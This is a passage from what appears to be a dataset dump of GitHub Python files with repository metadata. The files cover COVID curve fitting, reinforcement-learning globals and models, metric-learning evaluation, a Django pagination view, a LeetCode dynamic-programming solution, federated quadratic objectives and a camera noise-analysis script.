country_groups = raw_data_df.drop(['Province/State', 'Lat', 'Long'], axis=1).groupby('Country/Region')\n ts_all_cntry = country_groups.agg(sum)\n\n if long_format:\n country_df = ts_all_cntry.reset_index().rename({'Country/Region': 'country'}, axis='columns')\n long_df = pd.melt(country_df, id_vars='country', var_name='date', value_name='confirmed_cases')\n long_df['date'] = pd.to_datetime(long_df['date'])\n return ts_all_cntry, long_df\n else:\n return ts_all_cntry, None\n\n\ndef long_df_rm_zeros(df, leave_k_first=1):\n pd.DataFrame().reset_index()\n lag_col_name = f'confurmed_cases_lag_{leave_k_first}'\n df = df.sort_values(['country', 'date']).reset_index(drop=True)\n df[lag_col_name] = df.groupby(['country'])['confirmed_cases'].shift(-leave_k_first)\n df['lag_cumsum'] = df.groupby(['country'])[lag_col_name].cumsum()\n return df[\n df['lag_cumsum'] > 0\n ].drop([lag_col_name, 'lag_cumsum'], axis=1)\n\n\ndef add_days_since(df):\n first_day = df['date'].min()\n df.loc[:, 'days_since'] = df.loc[:, 'date'] - first_day\n df.loc[:, 'days_since'] = df.loc[:, 'days_since'].apply(lambda x: x.days)\n return df\n\n\n##############################\n# logistic curve #############\n##############################\n\n\ndef sigmoid(xdata, l, k, x0):\n return l / (1 + np.exp(-k * (xdata - x0)))\n\n\ndef estimate_sigmoid_params(x_data, y_data, initial_guess=None):\n # if initial_guess is None:\n # initial_guess = [1000000, 1, x_data.shape[0]]\n params_opt, params_cov = curve_fit(sigmoid, x_data, y_data, p0=initial_guess)\n return dict(\n zip(['l', 'k', 'x0'], params_opt)\n ), params_cov\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"jraiskin/covid19_israel_curve_fit","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"36253942663","text":"from typing import List, Optional\nimport os\nimport logging\nlogger = logging.getLogger(__name__)\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\nEXP_STRAT_INIT = -1\nEXP_STRAT_NONE = 0\nEXP_STRAT_RAND = 1\nEXP_STRAT_POLICY = 2\n\n\nACTION_MEANINGS: Optional[List] = None\nMASTER_PID = None\nBASE_PATH = None\n\n\ndef set_action_meanings(meanings=List[str]):\n global ACTION_MEANINGS\n ACTION_MEANINGS = meanings\n logger.debug(f'ACTION_MEANINGS set for process: {os.getpid()}')\n\n\ndef get_action_meaning(i):\n return ACTION_MEANINGS[i]\n\n\ndef get_trajectory(prev_idxs: List[int], actions: List[int], idx: int):\n trajectory = []\n if idx is not None:\n while prev_idxs[idx] is not None:\n action = actions[idx]\n idx = idx - prev_idxs[idx]\n trajectory.append(action)\n trajectory.reverse()\n return trajectory\n\n\ndef set_master_pid(pid):\n global MASTER_PID\n MASTER_PID = pid\n\n\ndef get_master_pid():\n global MASTER_PID\n return MASTER_PID\n\n\ndef set_base_path(base_path):\n global BASE_PATH\n BASE_PATH = base_path\n\n\ndef get_base_path():\n global BASE_PATH\n return BASE_PATH\n","repo_name":"uber-research/go-explore","sub_path":"policy_based/goexplore_py/globals.py","file_name":"globals.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":539,"dataset":"github-code","pt":"19"} +{"seq_id":"37974329637","text":"import numpy as np\nimport torch\nimport tqdm\nimport random\nimport argparse\n\nimport torch.nn.functional as F\nfrom tqdm import tqdm\n\n\ndef l2_norm(input):\n input_size = input.size()\n buffer = torch.pow(input, 2)\n normp = torch.sum(buffer, 1).add_(1e-12)\n norm = torch.sqrt(normp)\n _output = torch.div(input, norm.view(-1, 1).expand_as(input))\n output = _output.view(input_size)\n\n return output\n\ndef calc_recall_at_k(T, Y, k):\n \"\"\"\n T : [nb_samples] (target labels)\n Y : [nb_samples x k] (k predicted labels/neighbours)\n \"\"\"\n\n s = 0\n for t,y in zip(T,Y):\n if t in torch.Tensor(y).long()[:k]:\n s += 1\n return s / (1. * len(T))\n\n\ndef predict_batchwise(model, dataloader, mode):\n model_is_training = model.training\n model.eval()\n \n ds = dataloader.dataset\n A = [[] for i in range(len(ds[0]))]\n with torch.no_grad():\n for batch in tqdm(dataloader):\n for i, J in enumerate(batch):\n if i == 0:\n if mode == 'feature':\n J = model(J.cuda(), 0.0, 0.0, 0.0, 0.0, mode='clean', type='clean')\n else:\n J = model(J.cuda())\n\n for j in J:\n A[i].append(j)\n model.train()\n model.train(model_is_training) # revert to previous training state\n \n return [torch.stack(A[i]) for i in range(len(A))]\n\ndef proxy_init_calc(model, dataloader):\n nb_classes = dataloader.dataset.nb_classes()\n X, T, *_ = predict_batchwise(model, dataloader)\n\n proxy_mean = torch.stack([X[T==class_idx].mean(0) for class_idx in range(nb_classes)])\n\n return proxy_mean\n\ndef evaluate_cos(model, dataloader, mode):\n X, T = predict_batchwise(model, dataloader, mode)\n X = l2_norm(X)\n\n K = 32\n Y = []\n \n cos_sim = F.linear(X, X)\n Y = T[cos_sim.topk(1 + K)[1][:,1:]]\n Y = Y.float().cpu()\n \n recall = []\n for k in [1, 2, 4, 8, 16, 32]:\n r_at_k = calc_recall_at_k(T, Y, k)\n recall.append(r_at_k)\n print(\"R@{} : {:.3f}\".format(k, 100 * r_at_k))\n\n return recall\n\ndef evaluate_cos_Inshop(model, query_dataloader, gallery_dataloader, mode):\n query_X, query_T = predict_batchwise(model, query_dataloader, mode)\n gallery_X, gallery_T = predict_batchwise(model, gallery_dataloader, mode)\n \n query_X = l2_norm(query_X)\n gallery_X = l2_norm(gallery_X)\n \n cos_sim = F.linear(query_X, gallery_X)\n\n def recall_k(cos_sim, query_T, gallery_T, k):\n m = len(cos_sim)\n match_counter = 0\n\n for i in range(m):\n pos_sim = cos_sim[i][gallery_T == query_T[i]]\n neg_sim = cos_sim[i][gallery_T != query_T[i]]\n\n thresh = torch.max(pos_sim).item()\n\n if torch.sum(neg_sim > thresh) < k:\n match_counter += 1\n \n return match_counter / m\n \n recall = []\n for k in [1, 10, 20, 30, 40, 50]:\n r_at_k = recall_k(cos_sim, query_T, gallery_T, k)\n recall.append(r_at_k)\n print(\"R@{} : {:.3f}\".format(k, 100 * r_at_k))\n \n return recall\n\ndef evaluate_cos_SOP(model, dataloader, mode):\n X, T = predict_batchwise(model, dataloader, mode)\n X = l2_norm(X)\n \n K = 1000\n Y = []\n xs = []\n for x in X:\n if len(xs)<10000:\n xs.append(x)\n else:\n xs.append(x) \n xs = torch.stack(xs,dim=0)\n cos_sim = F.linear(xs,X)\n y = T[cos_sim.topk(1 + K)[1][:,1:]]\n Y.append(y.float().cpu())\n xs = []\n \n xs = torch.stack(xs,dim=0)\n cos_sim = F.linear(xs,X)\n y = T[cos_sim.topk(1 + K)[1][:,1:]]\n Y.append(y.float().cpu())\n Y = torch.cat(Y, dim=0)\n\n recall = []\n for k in [1, 10, 100, 1000]:\n r_at_k = calc_recall_at_k(T, Y, k)\n recall.append(r_at_k)\n print(\"R@{} : {:.3f}\".format(k, 100 * r_at_k))\n \n return recall\n\ndef set_seeds(seed):\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n\ndef margin(x, y):\n return x - y\n\ndef bool_flag(s):\n \"\"\"\n Parse boolean arguments from the command line.\n \"\"\"\n FALSY_STRINGS = {\"off\", \"false\", \"0\"}\n TRUTHY_STRINGS = {\"on\", \"true\", \"1\"}\n if s.lower() in FALSY_STRINGS:\n return False\n elif s.lower() in TRUTHY_STRINGS:\n return True\n else:\n raise argparse.ArgumentTypeError(\"Invalid value for a boolean flag\")","repo_name":"billpsomas/Metrix_ICLR22","sub_path":"general_utils.py","file_name":"general_utils.py","file_ext":"py","file_size_in_byte":4488,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"19"} +{"seq_id":"9967031489","text":"from django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom django.core.paginator import Paginator\nimport csv\nfrom pagination.settings import BUS_STATION_CSV as base\n\n\ndef index(request):\n return redirect(reverse('bus_stations'))\n\ndef bus_stations(request):\n page_number = int(request.GET.get(\"page\", 1))\n CONTENT = []\n with open(f'{base}', newline='', encoding='utf-8') as csvfile:\n reader = csv.DictReader(csvfile)\n for el in reader:\n CONTENT.append(el)\n paginator = Paginator(CONTENT, 10)\n page = paginator.get_page(page_number)\n station = paginator.get_elided_page_range()\n context = {\n 'bus_stations': page,\n 'page': page,\n }\n return render(request, 'stations/index.html', context)","repo_name":"pinocoladium/STUDPROJECT","sub_path":"dj-homeworks/1.2-requests-templates/pagination/stations/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"20511960607","text":"# [DP-Sequence-Action]\n# https://leetcode.com/problems/delete-and-earn/\n# 740. Delete and Earn\n\n# History:\n# Uber\n# Dec 8, 2019\n\n# https://www.youtube.com/watch?v=YzZd-bsMthk\n# Related: 198. House Robber\n\n# Given an array nums of integers, you can perform operations on the array.\n#\n# In each operation, you pick any nums[i] and delete it to earn nums[i]\n# points. After, you must delete every element equal to nums[i] - 1 or nums[\n# i] + 1.\n#\n# You start with 0 points. Return the maximum number of points you can earn\n# by applying such operations.\n#\n# Example 1:\n#\n# Input: nums = [3, 4, 2]\n# Output: 6\n# Explanation:\n# Delete 4 to earn 4 points, consequently 3 is also deleted.\n# Then, delete 2 to earn 2 points. 6 total points are earned.\n#\n#\n# Example 2:\n#\n# Input: nums = [2, 2, 3, 3, 3, 4]\n# Output: 9\n# Explanation:\n# Delete 3 to earn 3 points, deleting both 2's and the 4.\n# Then, delete 3 again to earn 3 points, and 3 again to earn 3 points.\n# 9 total points are earned.\n#\n#\n# Note:\n#\n# The length of nums is at most 20000.\n# Each element nums[i] is an integer in the range [1, 10000].\n\n\nfrom collections import Counter\n\n\nclass Solution(object):\n def deleteAndEarn(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n counter = Counter(nums)\n\n values_total = sorted(\n [(v, f * v) for (v, f) in counter.items()],\n key=lambda i: i[0]\n )\n\n if len(values_total) == 0:\n return 0\n if len(values_total) == 1:\n return values_total[0][1]\n if len(values_total) == 2:\n if values_total[1][0] == values_total[0][0] + 1:\n return max(values_total[1][1], values_total[0][1])\n else:\n return values_total[1][1] + values_total[0][1]\n\n dp_minus_2 = values_total[0][1]\n if values_total[1][0] == values_total[0][0] + 1:\n dp_minus_1 = max(values_total[1][1], values_total[0][1])\n else:\n dp_minus_1 = values_total[1][1] + values_total[0][1]\n\n for i in range(2, len(values_total)):\n if values_total[i][0] == values_total[i - 1][0] + 1:\n dp_minus_2, dp_minus_1 = dp_minus_1, max(dp_minus_2 + values_total[i][1],\n dp_minus_1)\n else:\n dp_minus_2, dp_minus_1 = dp_minus_1, dp_minus_1 + values_total[i][1]\n\n return dp_minus_1\n","repo_name":"Frankiee/leetcode","sub_path":"dp/sequence_action/740_delete_and_earn.py","file_name":"740_delete_and_earn.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"17172586369","text":"import functools\nfrom typing import List, Optional, Tuple\n\nimport attr\nimport jax.numpy as jnp\nimport numpy as np\nfrom jax.api import jit\nfrom sklearn import datasets\n\nfrom .base import Dataset, Objective, ObjectiveParams, StochasticObjective\n\n\n@attr.s(eq=False)\nclass LeastSquares(StochasticObjective):\n \"\"\"A quadratic that represents a least squares problem.\n\n Objective function: `0.5 * ||y - X^T w||^2`.\n \"\"\"\n\n lam: float = attr.ib(default=0.0)\n\n @property\n def kwargs(self):\n return {\"lam\": self.lam}\n\n @property\n def dim(self) -> int:\n return self.X.shape[1]\n\n @staticmethod\n @jit\n def eval(\n x: jnp.ndarray, data_batch: Dataset, lam: float = 0.0\n ) -> jnp.ndarray:\n \"\"\"Computes the mean squared error loss for `x` on the `data_batch`.\"\"\"\n x_batch, y_batch = data_batch\n loss = jnp.mean(jnp.square(jnp.dot(x, x_batch.T) - y_batch))\n reg = jnp.dot(x, x)\n return 0.5 * (loss + lam * reg)\n\n @functools.partial(jit, static_argnums=(0,))\n def solve(self):\n \"\"\"Returns the optimum by solving `(X^T X) x = X^T y`.\"\"\"\n n, d = self.X.shape\n A = jnp.dot(self.X.T, self.X) / n + self.lam * jnp.eye(d)\n b = jnp.dot(self.X.T, self.y) / n\n return jnp.linalg.solve(A, b)\n\n\n@attr.s(eq=False)\nclass Quadratic(Objective):\n \"\"\"Represents a quadratic objective `0.5 * x^T A x - b^T x + c`.\"\"\"\n\n A: jnp.ndarray = attr.ib()\n b: jnp.ndarray = attr.ib()\n c: jnp.ndarray = attr.ib(default=0.0)\n\n @classmethod\n def from_least_squares(cls, obj: LeastSquares):\n n, d = obj.X.shape\n A = jnp.dot(obj.X.T, obj.X) / n + obj.lam * jnp.eye(d)\n b = jnp.dot(obj.X.T, obj.y) / n\n c = jnp.dot(obj.y, obj.y) / (2 * n)\n return Quadratic(A=A, b=b, c=c)\n\n @property\n def dim(self):\n return self.b.shape[0]\n\n @property\n def params(self):\n return self.A, self.b, self.c\n\n @staticmethod\n @jit\n def eval(params: ObjectiveParams, x: jnp.ndarray):\n \"\"\"Computes the value of the quadratic at the specified point.\"\"\"\n A, b, c = params\n return 0.5 * jnp.einsum(\"ij,i,j->\", A, x, x) - jnp.dot(b, x) + c\n\n def solve(self) -> jnp.ndarray:\n \"\"\"Returns the optimum by solving `A x = b`.\"\"\"\n return jnp.linalg.solve(self.A, self.b)\n\n\ndef create_random_quadratics(\n dim: int,\n num_objectives: int,\n min_eig: float = 1.0,\n max_eig: float = 10.0,\n b_scale: float = 10.0,\n diagonal: bool = False,\n) -> List[Quadratic]:\n \"\"\"Creates quadratics with constraints on the spectrum and offset scale.\n\n Args:\n dim: The dimensionality of each objective.\n num_objectives: The number of random quadratics to generate.\n min_eig: The lower bound on the eigenvalues of the quadratics.\n max_eig: The upper bound on the eigenvalues of the quadratics.\n b_scale: The scale of the random normal vector of biases.\n diagonal: An indicator of whether quadratics should be diagonal.\n\n Returns:\n A list of `Quadratic` objects.\n \"\"\"\n quadratics = []\n for _ in range(num_objectives):\n if diagonal:\n A = np.diag(min_eig + np.random.rand(dim) * (max_eig - min_eig))\n else:\n A = np.random.randn(dim, dim)\n A = 0.5 * (A + A.T)\n w, V = np.linalg.eigh(A)\n w = (max_eig - min_eig) * (w - w.min()) / (\n w.max() - w.min()\n ) + min_eig\n A = V.T.dot(np.diag(w)).dot(V)\n b = b_scale * np.random.randn(dim)\n q = Quadratic(A=jnp.asarray(A), b=jnp.asarray(b))\n quadratics.append(q)\n return quadratics\n\n\ndef create_global_quadratic(\n objectives: List[Quadratic], weights: np.ndarray\n) -> Quadratic:\n \"\"\"Creates the global objective as a weighted average of local objectives.\n\n Args:\n objectives: A list of local objective functions.\n weights: An array of non-negative weights.\n\n Returns:\n A weighted sum of the provided quadratics with the specified weights.\n \"\"\"\n if len(objectives) != len(weights):\n raise ValueError(\n \"The number of quadratics their weights must be equal.\"\n )\n if not np.all(weights >= 0):\n raise ValueError(\"Weights must be non-negative.\")\n weights = jnp.asarray(weights) / jnp.sum(weights)\n A = jnp.einsum(\"ijk,i->jk\", jnp.stack([q.A for q in objectives]), weights)\n b = jnp.einsum(\"ij,i->j\", jnp.stack([q.b for q in objectives]), weights)\n c = jnp.einsum(\"i,i->\", jnp.stack([q.c for q in objectives]), weights)\n return Quadratic(A=A, b=b, c=c)\n\n\ndef create_random_least_squares(\n num_objectives: int,\n batch_size: int,\n n_features: int = 100,\n n_informative: int = 10,\n n_samples: Tuple[int, ...] = (100,),\n effective_rank: Optional[int] = None,\n bias_scale: float = 0.0,\n noise: float = 0.0,\n lam: float = 0.0,\n seed: int = 0,\n) -> List[LeastSquares]:\n \"\"\"Creates random `LeastSquares` problems.\n\n Args:\n num_objectives: The number of random least squares to generate.\n batch_size: The batch size used by each objective.\n n_features: The number of features in the generated data.\n n_informative: The number of informative features.\n See `sklearn.datasets.make_regression` for details.\n n_samples: A tuple of possible number of samples per objective.\n effective_rank: Optional approximate number of singular vectors required\n to explain most of the input data by linear combinations.\n See `sklearn.datasets.make_regression` for details.\n bias_scale: The scale of the bias term in the underlying linear model.\n noise: The standard deviation of the noise applied to the output.\n lam: The L2 regularization coefficient.\n seed: The random seed.\n\n Returns:\n A list of `LeastSquares` stochastic objectives.\n \"\"\"\n rng = np.random.RandomState(seed)\n objectives = []\n for _ in range(num_objectives):\n X, y = datasets.make_regression(\n n_samples=np.random.choice(n_samples),\n n_features=n_features,\n n_informative=n_informative,\n effective_rank=effective_rank,\n bias=rng.normal(scale=bias_scale),\n noise=noise,\n random_state=rng.randint(np.iinfo(np.int32).max),\n )\n X = np.hstack([X, np.ones((X.shape[0], 1))])\n objectives.append(\n LeastSquares(\n X=jnp.array(X), y=jnp.array(y), batch_size=batch_size, lam=lam\n )\n )\n return objectives\n\n\ndef create_global_least_squares(\n objectives: List[LeastSquares],\n batch_size: Optional[int] = None,\n lam: Optional[float] = None,\n) -> LeastSquares:\n \"\"\"Creates the global least squares by concatenating all the data.\n\n Args:\n objectives: A list of `LeastSquares` objectives.\n batch_size: Optional batch size for the global objective.\n If None, the maximum batch size of the `objectives` is used.\n lam: Optional L2 regularization coefficient for the global objective.\n If None, the maximum coefficient of the `objectives` is used.\n\n Returns:\n A global `LeastSquares` objective.\n \"\"\"\n X = jnp.vstack([o.X for o in objectives])\n y = jnp.hstack([o.y for o in objectives])\n if batch_size is None:\n batch_size = np.max([o.batch_size for o in objectives])\n if lam is None:\n lam = np.max([o.lam for o in objectives])\n return LeastSquares(X=X, y=y, batch_size=batch_size, lam=lam)\n","repo_name":"alshedivat/fedpa","sub_path":"federated/objectives/quadratic.py","file_name":"quadratic.py","file_ext":"py","file_size_in_byte":7596,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"19"} +{"seq_id":"4370322404","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 10 17:07:41 2022\n\n@author: John\n\"\"\"\nimport dcam\nimport os\nimport numpy as np\nfrom matplotlib import pyplot as plt\n# %matplotlib qt5 needs to add to code\nfrom scipy.optimize import curve_fit\nimport scipy\n\nTIME_OUT = 1000\n\n\ndef open_camera(iDevice=0): # connecting to the camera\n if dcam.Dcamapi.init() is not False:\n camera = dcam.Dcam(iDevice)\n if camera.dev_open() is not False:\n if camera.buf_alloc(1) is not False:\n camera.prop_setvalue(0x00470010, 1.0) # DEFECT CORRECT MODE 1 = off, 2 = on\n camera.prop_setvalue(0x001F0130, 2.0) # EXPOSURE TIME CONTROL 2 = normal\n return camera\n else:\n print('-NG: Dcam.buf_alloc(1) fails with error {}'.format(camera.lasterr()))\n camera.dev_close()\n else:\n print('-NG: Dcam.dev_open() fails with error {}'.format(camera.lasterr()))\n else:\n print('-NG: Dcamapi.init() fails with error {}'.format(dcam.Dcamapi.lasterr()))\n return False\n\n\ndef close_camera(camera): # closeing the camera\n camera.buf_release()\n camera.dev_close()\n dcam.Dcamapi.uninit()\n camera = False\n\n\ndef take_picture(camera): # get a numpy array of a picture from the camera (must be open)\n if camera.cap_snapshot() is not False:\n if camera.wait_capevent_frameready(TIME_OUT) is not False:\n data = camera.buf_getlastframedata()\n return data\n print(\"Failed taking a snapshot\")\n camera_error = camera.lasterr()\n print('-NG: camera.wait_event() fails with error {}'.format(camera_error))\n\n\ndef poisson(k, lamda):\n #return np.multiply(np.power(lamda, k),np.divide(np.exp(-lamda),np.math.factorial(k)))\n return np.multiply(np.power(lamda, k),np.divide(np.exp(-lamda),scipy.special.factorial(k)))\n\ndef erlang(x, k, lamda):\n return np.multiply(np.power(lamda, k),np.power(x, k-1) ,np.divide(np.exp(-lamda*x),scipy.special.factorial(k-1)))\n\n\n#%%\ncamera = open_camera()\nif camera is False:\n print(\"error connecting to camera\")\n \n#%%\n\"\"\"\nhistogram of pixel noise from 1 picture\nshould be taken with the camera covered for Dark Image\n\"\"\"\nif camera is not False: \n camera.prop_setvalue(2031888, 0.2) # EXPOSURE TIME\n data = take_picture(camera)\n data2 = np.concatenate(data)\n print(\"mean\\t\" + str(np.mean(data2)))\n print(\"median\\t\" + str(np.median(data2)))\n print(\"std\\t\" + str(np.std(data2)))\n fig = plt.figure(1)\n ax = plt.axes()\n ax.hist(data2, bins=np.arange(70, 150), density=True, alpha=0.75, rwidth=1)\n ax.grid(True)\n#%%\n\"\"\"\ncreate a 3D array of 1000 pictures and saves it for ferther use\nshould be taken with the camera covered for Dark Image\n\"\"\"\n\nif camera is not False:\n pics_num = 1000\n data_set = np.zeros((pics_num, 2048, 2048), dtype=np.uint16)\n for i in range(pics_num):\n data_set[i]= take_picture(camera)\n np.save(\"set3\", data_set)\n\n\n\n#%%\nif camera is not False:\n close_camera(camera)\n#%%\n\"\"\"\ncalculete the offset map of the camera for every pixel \ndone from the data set of 1000 images\n\"\"\"\n\noffset = np.sum(data_set, axis=0)/pics_num\nnp.save(\"offset\",offset)\n\n#%%\n\"\"\"\ncalculete the variance map of the camera for every pixel \ndone from the data set of 1000 images\n!!! might need restart to run as it takes a lot of RAM!!!\nif you do reset load the data set and do not retake images\n\"\"\"\nvar = np.sum((data_set - offset)**2, axis=0)/(pics_num-1)\nnp.save(\"var\",var)\n#%%\n\"\"\"\nreload the data_set\ncalculete the STD map of the camera for every pixel \ndone from the data set of 1000 images\n\"\"\"\n\ndata = np.load(\"set2.npy\")\nstd = np.std(data,axis=0)\nnp.save(\"std\",std)\n\n#%%\n\"\"\"\nshow the variance map\n\"\"\"\nvar = np.load(\"var.npy\")\nind_var = np.unravel_index(np.argmax(var), var.shape)\n#var[var>400.0] = 400 # if you wish to cut large values for better visabilty\nfig, ax = plt.subplots()\nax.imshow(var,cmap='gray',norm='linear',vmin=2,vmax=40)\nax.set_title(\"variance map\")\n#%%\n\"\"\"\nshow the STD map\n\"\"\"\nstd = np.load(\"std.npy\")\nind = np.unravel_index(np.argmax(std), std.shape)\n#std[std>60] = 60 # if you wish to cut large values for better visabilty\nfig, ax = plt.subplots()\npic = ax.imshow(std,cmap='gray',norm='log', interpolation='none',vmin=1,vmax=5)\nfig.colorbar(pic, ax=ax)\nax.set_title(\"STD map\")\nplt.ylabel('pixels')\nplt.xlabel('pixels')\n\n\n#%%\n\"\"\"\nshow the offset map\n\"\"\"\noffset = np.load(\"offset.npy\")\nind_offset = np.unravel_index(np.argmax(offset), offset.shape)\n#offset[offset>200.0] = 200 # if you wish to cut large values for better visabilty\nfig, ax = plt.subplots()\noff = ax.imshow(offset,cmap='gray',norm='linear',vmin=97,vmax=120)\nfig.colorbar(off, ax=ax)\nax.set_title(\"offset map\")\nplt.ylabel('pixels')\nplt.xlabel('pixels')\n\n#%%\n\"\"\"\nshow hitogram of the STD map\n\"\"\"\ndata = np.concatenate(std)\ndata = data[data<=5] # if you wish to cut large values for better visabilty\nax = plt.axes()\nhist = ax.hist(data, bins=np.linspace(1.6, 5, 100), density=True, alpha=0.75, rwidth=1)\nstd_mean = np.mean(data)\nstd_std = np.std(data)\nax.set_title(\"normelized histogram of STD\")\nax.annotate(\"std: \" + str(std_std), (std_mean, 2))\nax.annotate(\"mean: \" + str(std_mean), (std_mean, 1.75))\nax.axvline(x=np.mean(data),color='g',label='mean')\n\n\"\"\"\nan attempt to fit the histogram to a distribution\n\"\"\"\n\n#opt, cov = curve_fit(poisson, hist[1][:99], hist[0])\n#cov = np.sqrt(np.diag(cov))\n#pois = poisson(hist[1][:99], 1)\n#ax.plot(hist[1][:99], pois)\n#opt, cov = curve_fit(erlang, hist[1][:99], hist[0])\n#cov = np.sqrt(np.diag(cov))\n#erl = erlang(hist[1][:99], opt[0], opt[1])\n#ax.plot(hist[1][:99], erl)\n#%%\n\"\"\"\nshow hitogram of the offset map\n\"\"\"\ndata = np.concatenate(offset)\n#data = data[data<=20] # if you wish to cut large values for better visabilty\nax = plt.axes()\nhist = ax.hist(data, bins=np.linspace(105, 120, 100), density=True, alpha=0.75, rwidth=1)\noffset_mean = np.mean(data)\noffset_std = np.std(data)\nax.set_title(\"normelized histogram of offset\")\nax.annotate(\"std: \" + str(offset_std), (std_mean, 0.33))\nax.annotate(\"mean: \" + str(offset_mean), (std_mean, 0.3))\nax.axvline(x=np.mean(data),color='g',label='mean')\n#%%\noffset = np.load(\"offset.npy\")\ndata = np.concatenate(offset)\ndata = data[data>180]\nind_bad = []\nbad_size = 0\nM = np.argmax(offset)\nbad_val = []\nwhile M > 15000:\n bad_val.append(M)\n ind_bad.append(np.unravel_index(M, offset.shape))\n offset[ind_bad[bad_size][0]][ind_bad[bad_size][1]] = 0\n M = np.argmax(offset)\n bad_size += 1\n\n\n\n\n\n\n\n\n","repo_name":"proscrite/sabbath","sub_path":"code/noise.py","file_name":"noise.py","file_ext":"py","file_size_in_byte":6492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"23101984073","text":"import tensorflow as tf\nimport numpy as np\nfrom deeplearning import tf_util as U, layers, module\nfrom deeplearning.distributions import DiagGaussianMixturePd\nfrom rl.rl_module import Policy, ActorCritic, ValueFunction\n\nclass GmmPd(DiagGaussianMixturePd):\n \"\"\"\n Change GMM model to only allow gradients\n through the sampled component.\n \"\"\"\n def sample(self):\n samples = tf.stack([g.sample() for g in self.gaussians])\n m = self.mixture.sample()\n s = tf.concat([tf.gather(samples, m)[0], tf.cast(m, tf.float32)[None]], axis=1)\n return s\n\n def mode(self):\n modes = tf.stack([g.mode() for g in self.gaussians])\n logps = tf.stack([g.logp(g.mode()) + self.log_mixing_probs[:,i] for i,g in enumerate(self.gaussians)])\n m = tf.argmax(logps)\n s = tf.concat([tf.gather(modes, tf.argmax(logps))[0], tf.cast(m, tf.float32)[None]], axis=1)\n return s\n\n def neglogp(self, x):\n params = x[:,:-1]\n comp = tf.cast(x[:,-1:], tf.int32)\n comp = tf.concat([comp, tf.expand_dims(tf.range(comp.shape[0]),axis=1)], axis=1)\n p = tf.stack([self.log_mixing_probs[:,i] + self.gaussians[i].logp(params) for i in range(self.n)])\n p = tf.gather_nd(p, comp)\n return -1. * p\n\n\nclass Net(module.Module):\n \"\"\"\n Fully connected network.\n \"\"\"\n ninputs=1\n def __init__(self, name, *modules, hiddens=[], activation_fn=tf.nn.tanh):\n super().__init__(name, *modules)\n self.hiddens = hiddens\n self.activation_fn = activation_fn\n\n def _build(self, inputs):\n net = tf.clip_by_value(inputs[0], -5.0, 5.0)\n for i,h in enumerate(self.hiddens):\n net = tf.layers.dense(\n net,\n units=h,\n kernel_initializer=U.normc_initializer(1.0),\n activation=self.activation_fn,\n name='dense{}'.format(i)\n )\n return net\n\nclass RobotSampler(module.Module):\n \"\"\"\n Define robot distribution.\n \"\"\"\n ninputs=1\n def __init__(self, name, robot, nparams, ncomponents=8, mean_init=None, std_init=0.577):\n super().__init__(name, robot)\n self.nparams = nparams\n self.ncomponents = ncomponents\n self.mean_init = mean_init\n self.std_init = std_init\n\n def _build(self, inputs):\n sampled_robot = inputs[0]\n vars = []\n vars.append(tf.get_variable('mixprobs',\n shape=(self.ncomponents,),\n dtype=tf.float32,\n initializer=tf.zeros_initializer(),\n trainable=False))\n for i in range(self.ncomponents):\n if self.mean_init is not None:\n mean = np.asarray(self.mean_init)\n else:\n mean = np.random.uniform(-0.8,0.8, size=self.nparams)\n m = tf.get_variable('m{}'.format(i),\n shape=mean.shape,\n dtype=tf.float32,\n initializer=tf.constant_initializer(mean))\n logstd = np.log(self.std_init * np.ones_like(mean))\n s = tf.get_variable('logstd{}'.format(i),\n shape=logstd.shape,\n dtype=tf.float32,\n initializer=tf.constant_initializer(logstd))\n vars.append(m)\n vars.append(s)\n gmm_params = tf.tile(tf.expand_dims(tf.concat(vars, axis=0), axis=0), [self.nbatch*self.nstep, 1])\n self.pd = GmmPd(gmm_params, self.ncomponents)\n\n\n self._sample_component = self.pd.mixture.sample()\n self._sample_gaussians = [g.sample() for g in self.pd.gaussians]\n self._mode = self.pd.mode()\n self._sample = self.pd.sample()\n return self.pd.neglogp(sampled_robot)\n\n def sample(self, stochastic=True):\n if not stochastic:\n return self._mode.eval()\n else:\n return self._sample.eval()\n\n def sample_component(self):\n return self._sample_component.eval()\n\n def sample_gaussian(self, index):\n s = self._sample_gaussians[index].eval()\n return np.concatenate([s, [[index]]], axis=1)\n\nclass RunningObsNorm(layers.RunningNorm):\n \"\"\"\n Only normalize observations, not robot params.\n \"\"\"\n ninputs=1\n def __init__(self, name, *modules, param_size=None):\n assert param_size is not None\n self.size = param_size\n super().__init__(name, *modules)\n\n def _build(self, inputs):\n X = inputs[0]\n obs = X[:,:-self.size]\n obs_normed = super()._build([obs])\n return tf.concat([obs_normed, X[:,-self.size:]], axis=-1)\n\n def update(self, mean, var, count):\n super().update(mean[:-self.size], var[:-self.size], count)\n\nclass Model(ActorCritic):\n \"\"\"\n Combine policy, value function and robot distribution in one Module.\n \"\"\"\n def __init__(self, name, policy, value_function, robot_sampler):\n super().__init__(name, policy, value_function)\n self.sampler = robot_sampler\n","repo_name":"cbschaff/nlimb","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5141,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"19"} +{"seq_id":"7302594388","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb 05 16:26:55 2017\n\n@author: uricar.michal\n\"\"\"\n\nimport sys\n# 